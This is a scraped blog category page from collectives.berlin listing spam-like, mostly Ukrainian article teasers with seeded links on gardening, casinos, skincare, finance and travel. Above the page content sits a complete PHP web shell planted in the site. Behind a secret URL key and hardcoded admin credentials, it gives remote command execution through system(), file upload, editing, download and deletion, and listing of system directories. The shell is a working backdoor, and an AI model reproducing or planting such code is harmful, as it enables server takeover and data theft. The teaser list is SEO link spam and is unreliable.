if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 15 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Основи органічного землеробства для початківців покроково

    Рекомендується витримувати відстань між рослинами на рівні 30-50 см, https://agrotis.com.ua/ залежно від їхньої зрілості та типу. Це дозволить забезпечити достатнє освітлення і циркуляцію повітря, що зменшить ризик захворювань. Правильний вибір рослин для сусідства також посприяє покращенню родючості ґрунту. Важливо обирати добрива на основі компосту. Створення власного компосту з органічних відходів підвищить якість ґрунту. Рекомендується використовувати…

    Click or not…

  • How to Choose a Safe International Casino from the UK

    Choosing a safe international casino from the UK can be a daunting task, especially with the plethora of options available online. With the rise of online gambling, it’s crucial for players to ensure that they are playing in a secure and regulated environment. This report aims to provide a comprehensive guide on how to select…

    Click or not…

  • Корисні поради для початківців у програмуванні без зайвих складнощів

    Регулярно практикуйтеся, techhubs.com.ua створюючи власні проекти. Навіть малий додаток або сайт значно покращить ваші навички. Це допоможе зрозуміти, як робота з кодом виглядає в реальному житті. Зосередьтеся на основах. Вивчайте базові поняття, такі як змінні, цикли та умовні оператори. Глибоке розуміння цих елементів стане фундаментом для подальшого розвитку. Використовуйте онлайн-ресурси та курси. Багато платформ пропонують…

    Click or not…

  • Прості рецепти скрабів для здорової та сяючої шкіри

    Спробуйте змішати цукор з медом та оливковою олією – такий склад не тільки відлущує, а й живить деталі тканини. Нанесіть на вологу поверхню обличчя, https://koketka.com.ua/ масажуючи протягом кількох хвилин, потім змивайте теплою водою. Долучайте кавову гущу до йогурту – це перевірений метод для поліпшення кровообігу та стимуляції регенерації. Таким чином, шкіра стане більш пружною і…

    Click or not…

  • Місячний план тренувань для новачків у спорті без стресу

    Починати фізичні заняття рекомендовано з трьох тренувань на тиждень. Кожна сесія повинна тривати не менше 30 хвилин і включати розігрів, https://popsport.com.ua/ основну частину та заминку. Оптимальним вибором для початку стануть аеробні вправи, такі як ходьба, біг, велосипед або плавання. Це добре підходить для розвитку витривалості та покращення серцево-судинної системи. Перший тиждень має акцентуватися на адаптації…

    Click or not…

  • Що таке інфляція простими словами для всіх зрозуміло

    Задля розуміння економічних змін, які впливають на повсякденні витрати, https://goodfinance.com.ua/ важливо розглянути зростання цін на товари та послуги. Ці зміни можуть значно впливати на бюджет кожної сім’ї. Щоб адаптуватися до таких умов, спробуйте скоротити витрати на менш необхідні покупки. Це дозволить зберегти фінансову стабільність. Слід також звернути увагу на збереження коштів. Кращим рішенням буде відкриття…

    Click or not…

  • Романтичний вечір для закоханих в ресторані з особливою атмосферою

    Обирайте затишний заклад із приглушеним світлом та приємною музикою. Приділіть увагу оформленню інтер’єру; елементи декору, такі як свічки або квіти, https://womanworld.com.ua/ створять особливу атмосферу. Важливо, щоб місце розташування було зручним і доступним, аби вам не довелося зайвий раз хвилюватися про дорогу. Розгляньте можливість замовлення столика заздалегідь. Багато закладів пропонують спеціальне меню або знижки для пар,…

    Click or not…

  • Як вберегтися від туристичних пасток під час подорожі

    Вибирайте перевірені туристичні компанії для організації екскурсій. Це дозволить вам уникнути непередбачуваних ситуацій та неприємних сюрпризів. Обирайте відомі бренди, poehali.com.ua які мають позитивні відгуки. Читайте реальні відгуки на авторитетних ресурсах, щоб зрозуміти, чого очікувати. Варто також планувати бюджет заздалегідь. Визначте, які витрати можуть виникнути, включаючи харчування, перевезення та розваги. Підготуйте трохи готівки на випадок, якщо…

    Click or not…

  • Військові реформатори та їх вплив на українську армію сьогодні

    Актуальність впровадження нових підходів в оборонному секторі є надзвичайно важливою. Розроблення та реалізація комплексної стратегії для сучасних потреб національної безпеки вимагає від керівництва зважених рішень та адекватних дій. Необхідно зосередитися на інтеграції передових технологій та методів управління, https://infobanks.com.ua/ які підвищать оперативність і готовність структур. Наступним кроком є оптимізація навчальних програм, що дозволить забезпечити глибоке оволодіння…

    Click or not…

  • Веселі іграшки для захоплюючих розваг з котами вдома

    Чудовим рішенням для насичення життя ваших улюбленців є інтерактивні тренажери, які забезпечують фізичні навантаження та розваги. Наприклад, м’ячі з вбудованими світлодіодами, https://kotok.com.ua/ які світяться під час руху, привертають увагу і спонукають до продовження ігор. Варто також звернути увагу на вудочки з хвостиками або пір’ям–вони дозволяють чітко взаємодіяти з вашим другом, підтримуючи його в енергійній активності.…

    Click or not…